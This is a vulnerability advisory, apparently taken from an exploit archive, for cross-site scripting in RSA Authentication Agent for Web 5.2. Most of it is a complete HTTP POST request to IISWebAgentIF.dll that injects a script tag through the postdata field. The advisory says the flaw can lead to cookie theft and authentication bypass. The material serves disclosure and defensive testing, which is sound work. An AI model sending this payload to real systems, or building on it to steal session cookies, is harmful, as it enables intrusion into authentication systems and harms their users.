RSA Security RSA Authentication Agent For Web 5.2 - Cross-Site Scripting

source: https://www.securityfocus.com/bid/13168/info

A remote cross-site scripting vulnerability affects the RSA Security RSA Authentication Agent for Web. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in dynamically generated Web content.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks, due to the nature of the application, bypassing authentication requirements may be possible. 

POST /WebID/IISWebAgentIF.dll HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword,
application/x-shockwave-flash, */*
Accept-Language: de
Content-Type: application/x-www-form-urlencoded
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: www.example.com
Cache-Control: no-cache
Referer: https://www.example.com/
Content-Length: 135

stage=useridandpasscode&referrer=Z2F&sessionid=0&postdata="><script>alert("Vulnerable")</script>&authntype=2&username=asdf&passcode=jkl%F6